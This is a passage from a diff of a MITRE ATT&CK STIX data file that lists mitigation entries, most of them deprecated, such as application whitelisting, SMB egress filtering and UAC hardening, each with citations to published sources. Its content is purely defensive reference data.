"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--cba5667e-e3c6-44a4-811c-266dbc00e440", + "external_references": [ + { + "external_id": "T1181", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1181" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "modified": "2019-07-24T19:27:47.629Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", + "type": "course-of-action", + "name": "Fallback Channels Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--515f6584-fa98-44fe-a4e8-e428c7188514", + "external_references": [ + { + "external_id": "T1008", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1008" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "modified": "2019-07-24T19:28:35.941Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to delete files, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "type": "course-of-action", + "name": "File Deletion Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--34efb2fd-4dc2-40d4-a564-0c147c85034d", + "external_references": [ + { + "external_id": "T1107", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1107" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "modified": "2019-07-24T19:29:02.322Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "This type of technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior.", + "type": "course-of-action", + "name": "File Permissions Modification Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--a222db25-cafb-44b1-a64a-20eab050514c", + "external_references": [ + { + "external_id": "T1222", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1222" + } + ], + "modified": "2019-07-24T19:29:26.435Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Identify potentially malicious software that may be used to access logical drives in this manner, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "type": "course-of-action", + "name": "File System Logical Offsets Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--902286b2-96cc-4dd7-931f-e7340c9961da", + "external_references": [ + { + "external_id": "T1006", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1006" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "modified": "2019-07-24T19:30:10.350Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Use auditing tools capable of detecting file system permissions abuse opportunities on systems within an enterprise and correct them. Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service binary target path locations. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for service file system permissions weaknesses. (Citation: Powersploit)\n\nIdentify and block potentially malicious software that may be executed through abuse of file, directory, and service permissions by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs. Deny execution from user directories such as file download directories and temp directories where able. (Citation: Seclists Kanthak 7zip Installer)\n\nTurn off UAC's privilege elevation for standard users [HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System]to automatically deny elevation requests, add: \"ConsentPromptBehaviorUser\"=dword:00000000 (Citation: Seclists Kanthak 7zip Installer). Consider enabling installer detection for all users by adding: \"EnableInstallerDetection\"=dword:00000001. This will prompt for a password for installation and also log the attempt. To disable installer detection, instead add: \"EnableInstallerDetection\"=dword:00000000. This may prevent potential elevation of privileges through exploitation during the process of UAC detecting the installer, but will allow the installation process to continue without being logged.", + "type": "course-of-action", + "name": "File System Permissions Weakness Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--1022138b-497c-40e6-b53a-13351cbd4090", + "external_references": [ + { + "external_id": "T1044", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1044" + }, + { + "source_name": "Powersploit", + "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.", + "url": "https://github.com/mattifestation/PowerSploit" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Seclists Kanthak 7zip Installer", + "description": "Kanthak, S. (2015, December 8). Executable installers are vulnerable^WEVIL (case 7): 7z*.exe\tallows remote code execution with escalation of privilege. Retrieved March 10, 2017.", + "url": "http://seclists.org/fulldisclosure/2015/Dec/34" + } + ], + "modified": "2019-07-24T19:30:41.160Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "File system activity is a common part of an operating system, so it is unlikely that mitigation would be appropriate for this technique. It may still be beneficial to identify and block unnecessary system utilities or potentially malicious software by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "type": "course-of-action", + "name": "File and Directory Discovery Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--2ace01f8-67c8-43eb-b7b1-a7b9f1fe67e1", + "external_references": [ + { + "external_id": "T1083", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1083" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "modified": "2019-07-24T19:31:10.438Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Use network appliances to filter ingress or egress traffic and perform protocol-based filtering.", + "type": "course-of-action", + "name": "Filter Network Traffic", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d", + "external_references": [ + { + "external_id": "M1037", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1037" + } + ], + "modified": "2019-06-11T16:33:55.337Z", + "x_mitre_version": "1.0", + "created": "2019-06-11T16:33:55.337Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Prevent adversary access to privileged accounts or access necessary to perform this technique. Check the integrity of the existing BIOS and device firmware to determine if it is vulnerable to modification. Patch the BIOS and other firmware as necessary to prevent successful use of known vulnerabilities. ", + "type": "course-of-action", + "name": "Firmware Corruption Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--70886857-0f19-4caa-b081-548354a8a994", + "external_references": [ + { + "external_id": "T1495", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1495" + } + ], + "modified": "2019-07-24T19:31:37.073Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2019-04-26T19:30:33.607Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Block SMB traffic from exiting an enterprise network with egress filtering or by blocking TCP ports 139, 445 and UDP port 137. Filter or block WebDAV protocol traffic from exiting the network. If access to external resources over SMB and WebDAV is necessary, then traffic should be tightly limited with whitelisting. (Citation: US-CERT SMB Security) (Citation: US-CERT APT Energy Oct 2017)\n\nFor internal traffic, monitor the workstation-to-workstation unusual (vs. baseline) SMB traffic. For many networks there should not be any, but it depends on how systems on the network are configured and where resources are located.\n\nUse strong passwords to increase the difficulty of credential hashes from being cracked if they are obtained.", + "type": "course-of-action", + "name": "Forced Authentication Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--7009ba4d-83d4-4851-9fbb-e09e28497765", + "external_references": [ + { + "external_id": "T1187", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1187" + }, + { + "source_name": "US-CERT SMB Security", + "description": "US-CERT. (2017, March 16). SMB Security Best Practices. Retrieved December 21, 2017.", + "url": "https://www.us-cert.gov/ncas/current-activity/2017/01/16/SMB-Security-Best-Practices" + }, + { + "source_name": "US-CERT APT Energy Oct 2017", + "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A" + } + ], + "modified": "2019-07-24T19:32:11.883Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Other tools should be used to supplement Gatekeeper's functionality. Additionally, system settings can prevent applications from running that haven't been downloaded through the Apple Store which can help mitigate some of these issues.", + "type": "course-of-action", + "name": "Gatekeeper Bypass Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--1a7f5bd3-f6ee-4bd7-b949-2f3632ad6158", + "external_references": [ + { + "external_id": "T1144", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1144" + } + ], + "modified": "2019-07-24T19:32:43.572Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Prevent adversaries from gaining access to credentials through Credential Access that can be used to log into remote desktop sessions on systems.\n\nIdentify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to log into remote interactive sessions, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) and Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "type": "course-of-action", + "name": "Graphical User Interface Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--aaa92b37-f96c-4a0a-859c-b1cb6faeb13d", + "external_references": [ + { + "external_id": "T1061", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1061" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "modified": "2019-07-24T19:33:33.881Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Identify and correct GPO permissions abuse opportunities (ex: GPO modification privileges) using auditing tools such as Bloodhound (version 1.5.1 and later)(Citation: GitHub Bloodhound).\n\nConsider implementing WMI and security filtering to further tailor which users and computers a GPO will apply to.(Citation: Wald0 Guide to GPOs)(Citation: Microsoft WMI Filters)(Citation: Microsoft GPO Security Filtering)", + "type": "course-of-action", + "name": "Group Policy Modification Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--2108b914-eee1-45cc-8840-36272b19596a", + "external_references": [ + { + "external_id": "T1484", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1484" + }, + { + "source_name": "GitHub Bloodhound", + "description": "Robbins, A., Vazarkar, R., and Schroeder, W. (2016, April 17). Bloodhound: Six Degrees of Domain Admin. Retrieved March 5, 2019.", + "url": "https://github.com/BloodHoundAD/BloodHound" + }, + { + "source_name": "Wald0 Guide to GPOs", + "description": "Robbins, A. (2018, April 2). A Red Teamer\u2019s Guide to GPOs and OUs. Retrieved March 5, 2019.", + "url": "https://wald0.com/?p=179" + }, + { + "source_name": "Microsoft WMI Filters", + "description": "Microsoft. (2008, September 11). Fun with WMI Filters in Group Policy. Retrieved March 13, 2019.", + "url": "https://blogs.technet.microsoft.com/askds/2008/09/11/fun-with-wmi-filters-in-group-policy/" + }, + { + "source_name": "Microsoft GPO Security Filtering", + "description": "Microsoft. (2018, May 30). Filtering the Scope of a GPO. Retrieved March 13, 2019.", + "url": "https://docs.microsoft.com/en-us/previous-versions/windows/desktop/Policy/filtering-the-scope-of-a-gpo" + } + ], + "modified": "2019-07-24T19:34:09.544Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2019-04-24T16:57:19.391Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Prevent users from changing the HISTCONTROL environment variable (Citation: Securing bash history). Also, make sure that the HISTCONTROL environment variable is set to \u201cignoredup\u201d instead of \u201cignoreboth\u201d or \u201cignorespace\u201d.", + "type": "course-of-action", + "name": "HISTCONTROL Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--03c0c586-50ed-45a7-95f4-f496d7eb5330", + "external_references": [ + { + "external_id": "T1148", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1148" + }, + { + "source_name": "Securing bash history", + "description": "Mathew Branwell. (2012, March 21). Securing .bash_history file. Retrieved July 8, 2017.", + "url": "http://www.akyl.net/securing-bashhistory-file-make-sure-your-linux-system-users-won%E2%80%99t-hide-or-delete-their-bashhistory" + } + ], + "modified": "2019-07-24T19:34:34.065Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Establish network access control policies, such as using device certificates and the 802.1x standard. (Citation: Wikipedia 802.1x) Restrict use of DHCP to registered devices to prevent unregistered devices from communicating with trusted systems. \n\nBlock unknown devices and accessories by endpoint security configuration and monitoring agent.", + "type": "course-of-action", + "name": "Hardware Additions Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--54e8722d-2faf-4b1b-93b6-6cbf9551669f", + "external_references": [ + { + "external_id": "T1200", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1200" + }, + { + "source_name": "Wikipedia 802.1x", + "description": "Wikipedia. (2018, March 30). IEEE 802.1X. Retrieved April 11, 2018.", + "url": "https://en.wikipedia.org/wiki/IEEE_802.1X" + } + ], + "modified": "2019-07-24T19:35:08.161Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Mitigation of this technique may be difficult and unadvised due to the the legitimate use of hidden files and directories.", + "type": "course-of-action", + "name": "Hidden Files and Directories Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--84d633a4-dd93-40ca-8510-40238c021931", + "external_references": [ + { + "external_id": "T1158", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1158" + } + ], + "modified": "2019-07-24T19:35:33.631Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "If the computer is domain joined, then group policy can help restrict the ability to create or hide users. Similarly, preventing the modification of the /Library/Preferences/com.apple.loginwindow Hide500Users value will force all users to be visible.", + "type": "course-of-action", + "name": "Hidden Users Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--12cba7de-0a22-4a56-b51e-c514c67c3b43", + "external_references": [ + { + "external_id": "T1147", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1147" + } + ], + "modified": "2019-07-24T19:36:24.202Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Whitelist programs that are allowed to have this plist tag. All other programs should be considered suspicious.", + "type": "course-of-action", + "name": "Hidden Window Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--fae44eea-caa7-42b7-a2e2-0c815ba81b9a", + "external_references": [ + { + "external_id": "T1143", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1143" + } + ], + "modified": "2019-07-24T19:36:50.328Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating all hooking will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.", + "type": "course-of-action", + "name": "Hooking Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--7aee8ea0-0baa-4232-b379-5d9ce98352cf", + "external_references": [ + { + "external_id": "T1179", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1179" + } + ], + "modified": "2019-07-24T19:37:27.850Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Prevent adversary access to privileged accounts necessary to install a hypervisor.", + "type": "course-of-action", + "name": "Hypervisor Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--2c3ce852-06a2-40ee-8fe6-086f6402a739", + "external_references": [ + { + "external_id": "T1062", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1062" + } + ], + "modified": "2019-07-24T19:37:57.004Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating all IFEO will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. (Citation: Microsoft IFEOorMalware July 2015) Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.\n\nIdentify and block potentially malicious software that may be executed through IFEO by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown executables.", + "type": "course-of-action", + "name": "Image File Execution Options Injection Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--33f76731-b840-446f-bee0-53687dad24d9", + "external_references": [ + { + "external_id": "T1183", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1183" + }, + { + "source_name": "Microsoft IFEOorMalware July 2015", + "description": "Microsoft. (2015, July 30). Part of Windows 10 or really Malware?. Retrieved December 18, 2017.", + "url": "https://answers.microsoft.com/windows/forum/windows_10-security/part-of-windows-10-or-really-malware/af715663-a34a-423c-850d-2a46f369a54c" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + } + ], + "modified": "2019-07-24T19:39:01.215Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Ensure event tracers/forwarders (Citation: Microsoft ETW May 2018), firewall policies, and other associated mechanisms are secured with appropriate permissions and access controls. Consider automatically relaunching forwarding mechanisms at recurring intervals (ex: temporal, on-logon, etc.) as well as applying appropriate change management to firewall rules and other related system configurations.", + "type": "course-of-action", + "name": "Indicator Blocking Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--ec42d8be-f762-4127-80f4-f079ea6d7135", + "external_references": [ + { + "external_id": "T1054", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1054" + }, + { + "source_name": "Microsoft ETW May 2018", + "description": "Microsoft. (2018, May 30). Event Tracing. Retrieved September 6, 2018.", + "url": "https://docs.microsoft.com/windows/desktop/etw/event-tracing-portal" + } + ], + 